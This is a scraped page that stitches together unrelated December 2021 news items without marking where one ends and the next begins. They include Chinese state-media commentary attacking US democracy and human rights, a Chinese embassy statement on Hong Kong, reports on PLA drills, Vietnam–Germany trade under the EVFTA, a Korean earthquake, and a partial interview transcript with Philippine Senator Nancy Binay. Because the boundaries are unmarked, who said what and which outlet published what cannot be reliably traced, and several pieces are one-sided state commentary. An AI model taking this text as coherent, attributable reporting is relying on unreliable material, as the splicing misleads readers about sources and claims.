Xinjiang, which is a region endowed with rich cultural and tourism resources. Born in Shawan city of Tacheng Prefecture, Xinjiang, Qi has been a martial arts lover since childhood. However, it was not until about three years ago when she started to learn martial arts. Qi has stuck to her routine of practicing martial arts for at least two hours each day ever since. After a video she released on Douyin that showed her practicing martial arts went viral, Qi started to share more and more similar videos on the platform as well as other videos featuring local food and natural scenery. Qi said she will travel across Xinjiang to promote the regions scenic spots and ice and snow tourism so that more people will want to come to Xinjiang to experience its charm. (Web editor: Hongyu, Liang Jun) J-10 fighter jets execute trans-regional flight mission China Military Online) 17:00, December 15, 2021 J-10 fighter jets attached to an aviation brigade of the air force under the PLA Southern Theater Command taxi down the flightline in formation during a trans-regional flight mission aiming to test the troops long-range combat capability in late November, 2021. (eng.chinamil.com.cn/Photo by Huang Rongkai) (Web editor: Peng Yukai, Liang Jun) Vietnamese enterprises need to take advantage of the European Union-Viet Nam Free Trade Agreement (EVFTA) to increase trade value, according to the Viet Nam Chamber of Commerce and Industry (VCCI). At the webinar on promoting trade between Viet Nam and Germany through the EVFTA held in Ha Noi on yesterday, Hoang Quang Phong, VCCI vice chairman said being a new-generation FTA with high liberalisation, the EVFTA would eliminate most of the tariff barriers and reduce non-tariff barriers between Viet Nam and the EU, including Germany. Therefore, the bilateral trade between the two countries is expected to see breakthrough growth in the future. Specifically, the agreement will remove 99.2 per of tariff lines for Vietnamese goods exported to Germany after seven years of the deal taking effect. About 98.3 per cent of tariff lines for German products imported to Viet Nam would be eliminated after 10 years of the deal taking effect. The EVFTA also protects geographical indications for 39 Vietnamese products and 12 German products, helping brand and product value to increase in the markets of the two countries, Phong said. In addition, the agreement also includes many other commitments on customs, sanitary and phytosanitary measures, technical barriers, trade remedies, e-commerce, intellectual property and public procurement, to create favourable conditions for Vietnamese and German goods to access their markets. Viet Nam's export products have great opportunities from the EVFTA include footwear, garment, seafood, plastic products, fruits, rice, sweetcorn, garlic and mushrooms. Local enterprises would take advantage to import many German products such as vehicles, electrical machinery and equipment, pharmaceuticals, plastic products, iron and steel, fuels, animal and poultry meat, milk and dairy products, alcohol and beverages. At the conference, Nguyen Cam Trang, deputy director of the Ministry of Industry and Trade (MoIT)s Import-Export Department, said in the first year of carrying out the EVFTA, Viet Nam has taken export opportunities to sharply increase many key export products to Germany such as machinery and equipment (up by 83.6 per cent), vehicles and spare parts (71.6 per cent), iron and steel (53.2 per cent), computers and electronics (34 per cent), and seafood (15.5 per cent). According to VCCI, after 10 years of establishing the Vietnam-Germany strategic partnership (2011 - 2021), the bilateral trade value has increased sharply from $5.6 billion in 2011 to $10 billion in 2020. Of which, exports from Viet Nam to Germany achieved a growth rate of about 11.5 per cent each year. However, the trade value with Viet Nam has accounted for only 1.83 per cent of Germany's total trade value, much lower than 24.41 per cent with China, 16.65 per cent with the US and 12.11 per cent with South Korea. To promote exports to Germany, Vietnamese businesses need to understand the commitments in the EVFTA and know demand and the import and export regulations of this market, said Cam Trang from MoIT. Therefore, the VCCI collaborated with Friedrich-Naumann Institute for Freedom (FNF) in Viet Nam to organise this conference on December 14 providing information on the EVFTA and investment and business opportunities with Germany for local enterprises. At the same time, VCCI has also compiled a book on using the EVFTA to enhance goods import and export between Viet Nam and the German market and built a website about the German market for local enterprises, said Nguyen Thi Thu Trang, director of the VCCIs Center for WTO and Integration. Also at the conference, Thu Trang introduced specific requirements on import and export procedures of the German market. This is a part of activities on giving support to local enterprises to take advantage of the EVFTA. Cam Trang from the MoIT said the market information is very important. The MoIT with its network of trade offices in foreign countries has been providing market information and foreign partners to domestic enterprises. They will also support domestic enterprises to connect with foreign partners in trade and investment activities. In addition, other MoIT agencies such as the Import-Export Department and the Trade Remedies Authority are also ready to assist the businesses in the production and import and export of goods, and trade lawsuits. Pham Hung Tien, FNF Viet Nam deputy director, said that Germany has seen many investment and trade opportunities with Viet Nam, including some new fields such as green energy. For many years, German enterprises have developed many wind power projects in Viet Nam. In the future, German enterprises will continue to be interested in wind power development projects in Binh Thuan and Ninh Thuan. These are also factors to promote investment and trade activities, Tien said. In addition, the vocational training also offers the prospect of attracting investment from Germany. With more than 20 years of cooperation in vocational training with Viet Nam, German enterprises believe that Viet Nam has a young workforce and they need to improve their skills for many jobs, he said. According to Tien, qualified workers would help local enterprises receive new German investment for projects such as the mechanical engineering sector. This will create added value for local products or develop domestic enterprises to become suppliers of German enterprises. The German enterprises also are looking forward to investment in Viet Nam to transfer technology, improve skills for manufacturing factories, and provide auto components and accessories for German enterprises in Viet Nam. For trade, Tien said Vietnamese businesses should enhance participation in fairs held in Germany because German businesses often seek trade partners at these fairs. In addition, domestic enterprises can directly contact the local chambers of commerce and industry in Germany to find commercial partners. VNS China on Tuesday announced new measures to boost its industrial economy as part of the country's efforts to drive high-quality development in the sector. The policies, jointly issued by the National Development and Reform Commission (NDRC) and the Ministry of Industry and Information Technology, aimed to release more market potential and stimulate the vitality of market entities, said a statement on the NDRC's official website. The country will ensure energy security, stabilize the supply and prices of bulk raw materials, and smooth key industrial and supply chains. Demand potential will be further fulfilled with measures to help implement major projects, advance technological updates of enterprises, cultivate new business forms and models, and promote foreign trade and foreign capital utilization. China will step up safety measures in the industrial sector, improve policy systems in key regions, strengthen financing support for the manufacturing industry, and help firms navigate employment challenges. More efforts will be made to reduce burdens on medium and small companies and optimize market environments, added the document. 2021 Anhui Science and Technology Achievements Transformation Fair was held in Hefei, east China's Anhui province, on Tuesday. Zhang Hongwen, the vice-governor, attended the event and unveiled the Hefei IP Maker Space during the event. Implementing specific actions according to the 11th Party Congress of Anhui Province, the fair boosted in-situ transformation of science and technology achievements, integrated the development of online and offline science and technology markets, and fostered the development of in-situ transaction, in-situ transformation and in-situ application. Hefei IP Maker Space, the first service institution focusing on the generation of intellectual property, was unveiled at the fair, and the first national quantum intelligent seal related standards were released simultaneously. (By Li Ruichuan) Question: What is the comment of the Chinese Embassy on the 49th "Six-monthly Report on Hong Kong" issued by the UK Government on December 14th? Embassy Spokesperson: The UK side, regardless the opposition from the Chinese side, insisted on publishing the so-called "Six-monthly Report on Hong Kong" which distorted facts, confused right and wrong, interfered in China's internal affairs and severely violated the basic norms governing international relations. The Chinese side expresses its grave concern and strong opposition, and has lodged solemn representation to the UK side. I want to emphasize the following: First, the core content of the Sino-British Joint Declaration is China resuming exercise of sovereignty over Hong Kong. The Joint Declaration does not give the UK any responsibility over Hong Kong after the handover, nor does the UK have sovereignty, jurisdiction or right of supervision over Hong Kong. The Chinese Government governs Hong Kong Special Administrative Region in accordance with the Constitution of China and the Basic Law of the Hong Kong SAR, not the Joint Declaration. No foreign country has the right to use the Joint Declaration as an excuse to interfere in Hong Kong affairs. Second, since resuming exercise of sovereignty over Hong Kong, China has fully and accurately implemented One Country, Two Systems, Hong Kong people administering Hong Kong and a high degree of autonomy. Today, Hong Kong residents enjoy far more rights and freedoms than they did under the British colonial rule. The fact that chaos gave way to order in Hong Kong fully proves that the decision to adopt and enforce the Law on Safeguarding National Security, improve the electoral system and implement the principle of patriots governing Hong Kong in the Hong Kong SAR will only strengthen the rule of law in Hong Kong, provide better safeguards for the rights and freedoms of the majority of Hong Kong residents, expand public participation in political affairs in a balanced and orderly manner, and promote the healthy development of the democratic system in Hong Kong. At the same time, we must point out that in a law-based society, everyone is equal before the law and anyone who violates law shall be brought to justice. The UK should not prop up offenders. Third, China has long resumed sovereignty over Hong Kong. Hong Kong affairs are Chinas internal affairs. The Chinese Government remains unwavering in its determination to safeguard its sovereignty, security and development interests, fully and accurately implement One Country, Two Systems, and oppose any external interference in Hong Kong affairs. The Chinese side always provides necessary facilitation and support to consular offices of other countries in Hong Kong in performing their duty in accordance with law. At the same time, consular offices of other countries must observe Chinese laws, including the Law on Safeguarding National Security in the Hong Kong SAR, and the rules of international law, including the Vienna Convention on Consular Relations; they must refrain from engaging in any activity that interferes in Chinas internal affairs or violates the law. Fourth, the UK should realise that attempts to create trouble in Hong Kong or use Hong Kong to contain China will not succeed, and that the long-term stability and prosperity in Hong Kong serve the interests of all parties, including the UK. We once again urge the UK side to recognize the reality and major trend, respect Chinas sovereignty and unity, and stop any form of interference in Hong Kong affairs, which are Chinas internal affairs, so as to avoid further disturbances in China-UK relations. By Radhika Desai Virginia National Guard soldiers are issued their M4 rifles and live ammunition on the east front of the U.S. Capitol in Washington, D.C., on January 17, 2021. /Getty Editor's note: Radhika Desai is a professor of political studies at the University of Manitoba in Canada. The article reflects the author's opinions and not necessarily the views of CGTN. U.S. President Joe Biden's big idea is the "alliance of democracies," rallying the "democratic" allies to help the U.S. prosecute its new Cold War with "autocratic" China and her widening circle of allies. Last week's virtual Summit for Democracy was supposed to inaugurate its annual signature event. By all accounts, it has fallen flat. It could hardly have been otherwise. The U.S. is in a bind. It has never needed to weaponize its liberal democratic political system in prosecuting its foreign policy; as the recent ignominious withdrawal from Afghanistan showed, its economic and military capacities are dwindling. However, there has never been a worse time to do so; U.S. democracy, even more than its Western counterparts, is ramshackle, racked by waves of unrest, popular distrust, corruption and disaffection. Biden campaigned on restoring U.S. democracy at home and repairing its democratic alliances abroad after the Donald Trump years' damage to both. However, it is clear that he is caught in the same maelstrom that produced Trump. At home, his election victory itself underlined this. He won the election, barely, by spending nearly twice as much Trump, and nearly twice as much as former Secretary of State and presidential candidate Hillary Clinton, who outspent her rival in 2016 and still lost. At the summit, Biden was forced to mention at least some of the many shortcomings of U.S. democracy, however perfunctorily and to refer to the "global recession of democracy." He pledged to do better. However, can he? Western democracies have been declining for decades because their governments have had one overriding objective: to keep in power an ever narrowing elite of financiers and a few big corporations at the expense of the people. They can only accomplish this through increasing corruption, fraud, and electoral manipulation by money, media and social media. As they have increased, "populism" has mobilized rising distrust of the established power. No wonder even the mainstream of the Western media, normally cheerleaders of what the U.S. does, was calling the summit ill conceived, hypocritical, ill-judged, divisive and likely counter-productive. After all, the U.S. itself has slipped to the status of a "flawed democracy" according to "democracy rating agencies." Things were not that much better even in the heyday of liberal democracy. The original political systems of the homelands of capitalism were liberal. Representatives of tiny propertied classes managed their common affairs. They became democratic in the limited sense of (gradually) extending the franchise to the adult population only thanks to fierce struggles of the people. Even as they did so, they, however, made democracy liberal. U.S. President Joe Biden coughs during the virtual Summit for Democracy in the Eisenhower Executive Office Building in Washington, D.C., December 9, 2021. /Getty That is to say, they ringed it around with all sorts of constitutional limitations above all rights to private property and various "checks and balances" that prevented popular power from infringing the rights, privileges and power of small elites to appropriate more and more of the income and wealth of the nation. No wonder, even in the post war heyday of Western liberal democracies, the CIA and its offshoots had to be mobilized to keep these societies capitalist. Biden had been failing to rally declining democracies abroad, whether in the G20, in the USMCA North American free trade area or at COP26, and the failure was confirmed at the Summit for Democracy. For all the talk of democratic "ideals," the summit guest list, which included 29 countries considered "partly free" by the NGO Freedom House, raised many eyebrows. While mercifully keeping Saudi Arabia out, it included Brazil's President Jair Bolsonaro and India's Prime Minister Narendra Modi both of whom have gruesomely violated their citizens' rights to life itself during the pandemic. Why, many asked, were they included and Turkey's President Recep Erdogan or Hungary's Prime Minister Viktor Orban left out? Why was Juan Guaido, whose pretension to being Venezuela's leader is getting laughable by the day, included? Why was Taiwan region included, even though the U.S. itself accepts both the one-China policy and the People's Republic of China's claim to be its rightful government? Rather large parts of the realpolitik slip were showing under the frilly democratic skirts. Moreover, new divisions are emerging in the traditional Western alliance. Continental Europe would prefer a less shrill approach to China and Russia. However, the distinctively new Anglo-American alliance, complete with vassal states like Australia, that is emerging with pacts like AUKUS, prefers a hawkish stance. Though Western commentary has already pointed to many dangers and shortcomings of the recently concluded summit, it has overlooked the most important danger. China and other socialist countries can and have countered with a serious critique of capitalist liberal democracy and proposed credible conceptions, institutions and practices of democracies of their own such as with China's white paper on its whole process people's democracy and the joint essay by Chinese Ambassador to the United States Qin Gang and his Russian counterpart Anatoly Antonov published in Washington DC. If you want to talk democracy then, they are saying, let's talk it. By Gong Luping Photo: VCG US, the habitual violator of human rights. Graphic: GT After the 9/11 terror attacks, the US embarked on a mission in the name of anti-terrorism to subvert or weaken administrations that were not pro-US or opposed the US. This created a power vacuum in these countries, leading to constant internal struggles, political instability and difficulties in maintaining security conditions. Terrorist forces not only failed to be contained, but seized the opportunity to grow bigger and spread globally. The US government has a tradition of habitually violating other countries' sovereignty. As is known to all, the Iraq War, launched under the excuse of anti-terrorism during the George W. Bush administration, was never authorized by the UN. The US dodged the UN Security Council and unilaterally carried out military strikes against Iraq on the grounds that Iraq hid weapons of mass destruction and secretly supported terrorists. However, after more than seven years, the US never found the so-called weapons of mass destruction. Instead, Washington ended the war on the grounds that the Saddam administration had already destroyed related documents and evidence. During the Barack Obama administration, the US led its allies to invade Libya and overthrow the Gaddafi government under the banner of NATO, but never brought peace to Libya. In the "post-Gaddafi era," various forces in Libya took the opportunity to rise, including the "Islamic State," an extremist organization which constantly threatens European countries. During an interview with Fox News on April 10, 2016, Obama admitted that the worst mistake of his presidency was a lack of planning for the aftermath of the military intervention in Libya after the toppling of Gaddafi. After Donald Trump took office, he generally suspected Islamic countries of being "terrorists." Meanwhile, under the excuse of "anti-terrorism," he ramped up air bombings on Iraq, Afghanistan, Syria and other countries, leading to regional turbulence and serious humanitarian disasters. This provided a breeding ground for terrorism. Trump also proposed the "Muslim ban," arousing opposition and accusations from the international community, the American public and media. They believed the ban seriously violated international human rights standards and the basic rights of Muslims, including freedom of religious belief and personal freedom. In addition to economic sanctions on Iran, the US has long imposed varying degrees of economic pressures on countries such as Russia, North Korea and Venezuela, cutting the link between these countries and the international financial system and interfering in their ideologies. Such unilateral sanctions are a flagrant violation of other countries' sovereignty. The US government has a tradition of habitually violating the right to life of citizens of other countries. The US' anti-terrorism military operations often cause large numbers of civilian casualties. A research report released by the Watson Institute of International and Public Affairs at Brown University in 2019 showed that since 2001, the US has spent more than $6.4 trillion in launching wars, and these wars have cost some 801,000 lives, including 312,000 civilian deaths. In a US drone attack in 2018 alone, at least 30 of the casualties were civilians. In addition to the civilian casualties caused by US' direct military actions, the US government also connives other countries' killing of civilians in troubled areas. All of these acts show the US' vicious acts of ignoring the right to life of people from other countries. The civilian casualties caused by the US military in its anti-terrorism military operations are not accidental, but deliberate. Besides, the US has also arbitrarily shielded war criminals. Rupert Colville, spokesperson for the UN High Commissioner for Human Rights, said during a press conference in November 2019 that the US government pardoned three US servicemen accused of war crimes and the Office of the UN High Commissioner for Human Rights was highly concerned about the move. The three cases seriously violated international humanitarian law, including the shooting of civilians and the execution of captured members of armed groups. Facing the exposure and criticism from the UN, domestic US media and opposition party, the US did not produce any statement. These acts show that the US has always ignored other people's right to life. Anyone can be the US' target. For the US, the only criterion is its own national interests. The US has also been habitually violating citizens' privacy. Various counter-terrorism plans of the US have been infringing upon citizens' right to privacy. The President's Surveillance Program launched by the US Department of Homeland Security in October 2001, known by the code name Stellar Wind, was authorized by President George W. Bush as part of the War on Terrorism. It was later transitioned into the Foreign Intelligence Surveillance Act of 1978 Amendments Act of 2008. According to the confidential documents exposed by former CIA contractor Edward Snowden, American intelligence has not only engaged in extensive internet and phone surveillance against anti-US forces around the globe, it also put American citizens on its soil under surveillance, tapping directly into the servers of nine internet firms, including Facebook, and Google, to track online communication in a surveillance program known as Prism. The disclosure of the incident sparked a public uproar and prompted Obama to sign the Freedom Act on June 2, 2015 to provide a legal basis for government anti-terrorism surveillance. But the bill still gives the green light to a variety of communications monitoring. For the US' intelligence agency, it is just another way to continue infringing on the sovereignty and civil rights of other countries. This was still the case during the Trump administration. In fact, in these secret projects, the US has violated citizens' freedom of association, personal privacy, and freedom of speech, and has seriously infringed upon the sovereignty and civil rights of other countries. The country has also engaged in habitual violation of the basic human rights of prisoners of war and criminal suspects. In 2004, media outlets' exposure of the abuse of the Iraqi prisoners by US military forces at the infamous Abu Ghraib, a prison in Iraq, shocked the world. These incidents of prisoner abuse by the US military seriously violated international human rights norms and aroused public outrage across the world. A spokesperson for the International Committee of the Red Cross said in a mocking tone that the US has shown the world what it means to be a democratic and rule-of-law country. These shameful practices not only violate the provisions of the United Nations Convention against Torture and the Universal Declaration of Human Rights, but also run counter to the universal value of human rights, and make the US government's image as a "defender of human rights" collapse. Furthermore, The US has also set up secret overseas prisons, arbitrarily detained criminal suspects without trial and tortured them. According to a report by the Washington Post (WP), the CIA set up secret prisons in countries including Thailand, Afghanistan, the Guantanamo Bay prison in Cuba and some countries in Eastern Europe, which are charged by a handful of officials of the White House, Justice Department and Congress. WP cited sources as saying that more than 100 suspected terrorists have been sent by the CIA into the covert prisons. These people were held in solitary confinement in small cells and were deprived of any legal rights. They were not allowed visits except from officials of the CIA, and the International Red Cross personnel were prohibited from contacting them. The US itself recognized that this kind of detention without a legal basis is improper, but still chose to run the system, and then created a justification for it. Many detainees who have not been tried by due process have been detained for more than 10 years and have been subjected to torture including sleep deprivation, waterboarding, prolonged solitary confinement, violent hits on walls and beatings of prisoners on their heads, and death threats. The United Nations Special Rapporteur on Torture, Nils Melzer, appealed to the US to end a pervasive policy of impunity for crimes of torture committed by US officials. He didn't receive any response. Guantanamo Bay prison has been running for nearly 20 years. It's also where US detainees have been illegally detained, interrogated, and even tortured, some for the whole length of its existence. It has been 20 years in which the concept of torture prohibited by the International Human Rights Convention has been blatantly violated. The US has habitually threatened staff of various international agencies. The US government's anti-terrorism policy is oriented toward seeking its own interests and maintaining its hegemonic position. It even goes against the principles and purposes of international law, threatens international institutions, and obstructs relevant judicial investigations and court proceedings. In September 2018 and March 2019, former US national security adviser John Bolton and former US secretary of state Mike Pompeo separately threatened to retaliate with travel bans and asset freezes against those who would have been directly responsible if the International Criminal Court investigated related personnel of the US and its allies. They even threatened to impose economic sanctions against the International Criminal Court. All of the aforementioned examples and data are evidence that US' habitual violation of human rights has a long history in a wide and deep scope of areas, and has caused huge damages. The only long-standing criterion is whether its target touches the US' interests. Such moves are supported by US' hegemonic thinking, which has resulted in the double standards in US diplomacy: It is on one hand infringing upon other countries' human rights, while on the other hand targeting other countries under the pretense of protecting human rights. The author is a current affairs commentator. By Hu Xiaodao Foreign media reported that the US House of Representatives passed the USD 768 billion National Defense Authorization Act (NDAA) on December 8, in which the enormous allocations to specific purposes reveal Americas intention to consistently ramp up the military containment of its strategic rivals. The new NDAA reveals three strategic intentions. A comprehensive analysis of the Houses newly passed NDAA reveals three conspicuous features. First, it highlights a bipartisan stance. The New York Times commented that while Republicans accused the Democrats of burning money on societal programs, the massive increase of allocations to support Ukraine and buy aircraft and vessels in the Act reveals a bipartisan consensus on continuing to spend huge amounts of federal funds on national defense. Americas National Interest website commented that the Act getting support from both sides of the aisle at the highly belligerent House, with 363 votes in favor and only 51 Democrats and 19 Republicans voting in objection, indicated Washingtons united stance on keeping up the military budget hike. Second, it highlights a strong will to deter rivals. House Armed Services Committee Chairman Adam Smith said point-blank that passing the Act is significant in that it makes sure America has the proper tools to come out a winner in the strategic competition with Russia and other countries. Its worth noting that the House version of NDAA came out soon after the videoconference between American president Biden and Russian President Putin. Rife with statements and measures to deter, intimidate and contain Russia, the Actis a textbook of Americas ingrained prejudice against the country. Third, it highlights the pursuit of technological superiority. American media reported that before the bill went to the floor, House members from both parties agreed it would help the Pentagon phase out the old and outdated weapons and acquire new technologies and equipment, which would help the US military win future wars through enhanced technological superiority. Interestingly, to ensure such superiority, the bill banned the decommissioning of A-10 attack aircraft, B-1B strategic bomber and Ticonderoga-class cruiser. The Congress held that before new equipment is in place, the US military can only maintain quantitative and technological superiority over the navy and air force of certain major powers by keeping its old vessels and aircraft, commented American website Defense News. The new NDAA will aggravate regional turmoil As usual, the bill that has just cleared the House will be put to a vote at the Senate and, if approved, will be signed by Biden before officially becoming a law. Reactions from the stakeholders indicate a high possibility of the NDAA being signed by the president by year end. Senior military officers explained the huge military spending in the bill, saying that the US militarys combat capability is no longer able to effectively respond to regional and global security threats due to the dramatic growth of certain regional countries military strengths. It looks probable that the Pentagon will push for military buildup by frequently playing the trick of securing military budget by hyping external threats. Overall, the Biden administration is breaking away from Trumps do-it-alone style and trying to establish an integrated and coordinated combat system with its allies across the world. Its foreseeable that the US military will continue to fortify the military cooperation with allies and partners in the Asia Pacific and Europe, and move faster to put up the deterrence and suppression system and containment network against potential rivals. Its movements are worth close and consistent monitoring. Source: WeChat official account of PLA Navy BEIJING, Dec. 15 -- The virtual naval medicine seminar of the 2021 Western Pacific Naval Symposium (WPNS) kicked off in the Chinese PLA Naval Medical University (NMU) on December 14. The theme of the seminar was "Proactively responding to new challenges in maritime medical rescue and joining hands to build a maritime community with shared future". It has drawn over 100 participants from 22 member countries and observer states of the WPNS, as well as representatives and experts from the PLA Logistic Support Department under Chinas Central Military Commission (CMC) and some units with the PLA Navy. During the two-day seminar, all parties focused on topics in five aspects including COVID-19 pandemic prevention, control and response under the new situation, medical rescue for maritime disasters, development of naval special medicine, frontiers in marine pharmacy and biotechnology, and training of naval health personnel during the event. All participants made academic exchanges and shared experiences via video link. The workshop aims to further boost exchanges and cooperation among countries in maritime medical rescue field, so as to jointly meet new security challenges and build a maritime community with shared future. BEIJING, Dec.15 -- Recently, a naval frigate flotilla attached to the PLA Southern Theater Command, composed of guided-missile frigates Tongling (Hull 542), Enshi (Hull 627), and Guangyuan (Hull 552), conducted a seven-day intensive live-fire exercise in the South China Sea. It was the second-largest quake to hit the Korean Peninsula on record and happened just over a year after a 5.8 magnitude quake rocked Gyeongju. The Korea Meteorological Administration said the quake was centered in an area around 9 km north of Pohang at a depth of only 8 km underground. It happened just 43 km away from the tremor that shook Gyeongju and was followed by 30 aftershocks measuring between 2.0 to 4.3 in magnitude occurred until 10 p.m. Wednesday night. Although the earthquake had only a quarter of the strength of the Gyeongju tremor, it was shallower and resulted in about the same amount of damage. Locals reported shakes strong enough to move heavy furniture, and tremors were felt as far afield as Seoul. Handong Global University, which is close to the epicenter, suffered damage to the wall of a building, while staff at Samsung and LG plants in Gumi, North Gyeongsang Province were temporarily evacuated. President Moon Jae-in convened a meeting of senior officials and was briefed on the situation as soon as he returned from a Southeast Asia trip. President Moon Jae-in and Australian Prime Minister Scott Morrison on Tuesday warned China off further military adventures in the South China Sea. In a joint statement concluding Moon's visit to the sixth continent, the two said they "recognize that the stability of the Indo-Pacific depends on adherence to international law in the maritime domain, including in the South China Sea." They committed themselves as "natural partners" to an "open, inclusive and prosperous Indo-Pacific." China is embroiled in various territorial disputes in the South China Sea to further its increasingly aggressive military expansion. The U.S.' strategic pivot to Asia, in which Australia is a staunch ally, aims to contain China's military expansion. The two leaders stressed that "disputes must be resolved peacefully and in accordance with international law" and "reaffirmed the importance of upholding freedom of navigation and overflight" and "agreed to strengthen coordination to uphold these principles, which must not be undermined in the context of increasing risks of instability in the maritime domain." Korea depends economically on China, and Moon has been careful to distance itself from the U.S.' more aggressive sabre-rattling in the region. A day earlier he said that Seoul will not be joining a diplomatic boycott of the Beijing Winter Olympics in February. Moon and Morrison also agreed to form a comprehensive strategic partnership and expand cooperation in regional security, defense, core technology, health and border protection. The North Korean regime is glorifying leader Kim Jong-un as he marks his 10th anniversary in office on Friday. Kim has been given the honorific "great leader," which was previously reserved for his grandfather Kim Il-sung. The propaganda machine has also coined the term "Kimjongunism," in an attempt to shift away from communism and boost his political aura. It has made special watches with Kim's name inscribed on them to hand out to senior officials to ensure their loyalty. Friday also marks the 10th anniversary of the death of the leader's father Kim Jong-il. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 It is reported that the survey results released by the Ministry of Internal Affairs and Communications of Japan on the 30th showed that Japans seasonally adjusted full unemployment rate in February was 2.9%, the same as the previous month, and the numbe... Press Release December 15, 2021 Transcript of Senator Nancy Binay's interview on ANC's Headstart (hosted by Karen Davila) Ms. Karen Davila (Q): I want your reaction first on the President withdrawing his candidacy for the Senate? Senator Nancy Binay-Angeles (SNBA): Well, it was his personal decision. And I guess katulad ng sinabi ng ibang kandidato, let us respect that decision. And I think maganda naman ang dahilan that was issued yesterday, na para mas maka-focus pa siya doon sa problema na hinaharap natin. Alam naman natin, Karen, the Covid problem is still there. At least si Presidente can really focus dahil hindi madi-divide ang attention niya between running the country and running for the Senate. Q: Were you surprised, Sen. Nancy, that he withdrew? SNBA: Para sa kanila hindi na ako nagugulat. Parang always expect the unexpected. And there's been talk na baka hindi tumuloy, eh. So kumbaga isa iyon sa scenario that was very possible, so hindi na rin ako nagulat. Q: A little bit of politics before we move forwardyour father, former Vice President Jejomar Binay, is rating quite well. So there is a big chance that he will become a senator, and you will be working together. Now, there are critics who'd observed there are more families in the Senate this coming 2022, possibly 2 Binays, 2 Cayetanos, 2 Villars, and, who knows, maybe 2 Estradas. But the likelihood of the six of you being together in 2022 is, I mean, it's highly probable. Do you see a problem with this whole situation that family members are sitting together in the same Senate? SNBA: Well, Karen, I can only speak for my family. Alam mo, we were raised by my parents to be independent thinkers, so even if there are 2 Binays in the Senate, if kumbaga that is not our advocacy or that is not our belief, it doesn't mean that we'll always be voting together. Iba eh, hindi automatic iyon na porke't dalawa ang BInay, 2 boto na ang mangyayari. Q: Obviously, our Constitutional framers didn't see this happening. But do you feel some experts have already said it the time may have come that certain limitations or parameters be put so families aren't sitting together at the same time? What do you think of that, Senator? SNBA: Actually, ever since I became a senator, there's always this bill defining what a political dynasty, kasi 'di ba, in the Constitution, the definition was given to Congress, so every ano 'yan, laging nadi-discuss. I don't know why hindi siya umuusog eh. I can only speak for the Senate, but I don't know kung sa House umaabot doon sa kahit sa committee level lang how to define a political dynasty. We were able to introduce it when we amended the SK, aside from that hindi talaga siya umuusad. Q: Would you consider more and more families in the Senate a definition of a political dynasty because it's a bit different from the local set-up. SNBA: Kasi ako, Karen, ang mindset ko is, at the end of the day, it's the people's decision, right? Let us not also assume na porke't we have the last name, automatic mananalo iyon. It's not. We subject ourselves to the will of the people. Hindi naman iyan parang royalty na you hand it from one generation to the next. There's this third party who will decide whether they want the same last name, whether as a mayor, as a senator. Q: And that is a good point because in the last elections, you had JV and Jinggoy run, and they both lost. SNBA: Yes. Kaya nga. So it's not automatic. I guess doon magiging mahalaga iyong voter's education na talagang titingnan nila, it is not just the last name. Ano ang serbisyo na mabibigay ng apelyido na iyon. Talaga bang nagse-serbisyo ang apelyido na iyon? Q: And just quickly, you are ready to work with your father on equal terms? Because the difference is, one, he's your father, 2, he was vice president, but in the Senate you are co-equal? SNBA: I've worked with my father but hindi on equal footing, 'di ba. Pero I think during the past 8 years that I've been senator, we've had policy differences and there's always that respect na talagang we can't be the same. And iyon na nga, katulad ng sinabi ko, sila mismo ang nagturo sa amin to fight or hindi kami k umbaga parrot lang ng magulang namin na we will just copy. We were raised to be critical thinkers. Q: And the last question on this, is your sister Anne, who filed her certificate of candidacy for mayor of Makati. Has she finally withdrawn, or when will she do it? SNBA: I think I've said, 'di ba, for 2022 there won't be a Binay versus Binay in Makati. I think today yata she'll probably withdraw or tomorrow. Q: Ok. Now moving forward na tayo. Bangko Sentral governor Ben Diokno admits that it did not go, or did not pass the National Historical Commission, the change in the design of the 1,000-peso bill. But he says they only consult the NHCP for historical facts, not necessarily for approved designs. SNBA: That is why, Karen, I'm thinking of filing a bill na kailangan siguro ng concurrence of Congress. Kasi, you know, in Congress, the mere renaming of a national highway or even schools, dumadaan sa Kongreso. And napansin ko the past years, ang dali natin magpalit ng design ng pera. So baka for something as important as our money, baka ito kailangan ng concurrence from Congress. Q: Are you seeing a different intention here? Because Ben Diokno said it's actually the trend all over the world to have flora and fauna, and he says it's not an attempt to revise history. SNBA: I'm not familiar with other currencies. But I don't think ine-erase nila ang mga mukha. 'Di ba there's two sides naman sa pera, eh. So why is there a need to remove our heroes? Why not put the heroes in one side, and flora and fauna on the other side? I don't see the reason why kailangan burahin. Q: And the question is, why the 1,000-peso bill? It's relatively new. SNBA: Yes, and iyon na nga eh. I agree, kailangan din for us to teach our people about endangered species. But for me kasi, endangered din ang heroes natin eh. Baka nga mas endangered pa sila doon sa eagle, 'di ba? Q: Some fear that this will actually or eventually lead to removing Cory Aquino, Ninoy Aquino on the 500-peso bill. Are you seeing that this might be a possibility? SNBA: I cannot assume that. But for me, huwag naman, hindi dapat ganoon kadali magbago ng design sa pera. For example, ang US dollar parang ever since that's been the design, right? So sa atin, unang-una, we need to pay for the design, right? So additional expense. And right now, for me Karen, every peso, every cent counts. Bakit kailangan tayo magbayad para baguhin ang design kung wala namang mali sa existing designs natin? Q: Diokno said that actually that this is just, so to speak, it will go through a period only, until 2025. He used a specific word for itit's pilot testing and you can still use the 1,000 pesos, it's still legal tender. But at the end of the day, at this point, is the BSP the only entity needed to approve the design? SNBA: I think so, based on the statement of Chairman Escalante of NHCP, parang it's only up to BSP, and I think Office of the President. Q: And clearly, you believe this should change? SNBA: Yes. Baka they also need the approval of Congress, kasi nga going back, ang mga schools, national roads, that needs approval from Congress. Q: Will there be an investigation on this? Because it's not only the design, it's also the shift to polymer instead of using cotton and abaca, it's now a plastic synthetic material. SNBA: Maybe we can file a resolution investigating, kasi well that's another concern, Karen, kasi nga we try to introduce indigenous materials to our money. So, kung gagamit na tayo ng polymer, paano na ang mga nagsu-supply ng abaca? Would that have an effect with the livelihood of our people? Lalong-lalo na ngayon na ang laki ng unemployment rate. Or by using the polymer it creates another source of income for our people? So baka it's something that we also need to consider with the shift to another material for our money. Q: Is polymer from China? Who knows, right? SNBA: We don't know that. Or are we the first country to use polymer? Ganyan ba ang trend, na everyone's shifting to polymer? Q: So ano ang panawagan mo kay BSP governor Ben Diokno at this point? SNBA: Siguro baka pwede pilot na lang or special release. Ang BSP naman for example, for one year ito ang design natin flora and fauna then after 2022 we can go back to the original. Where the faces of Abad Santos, 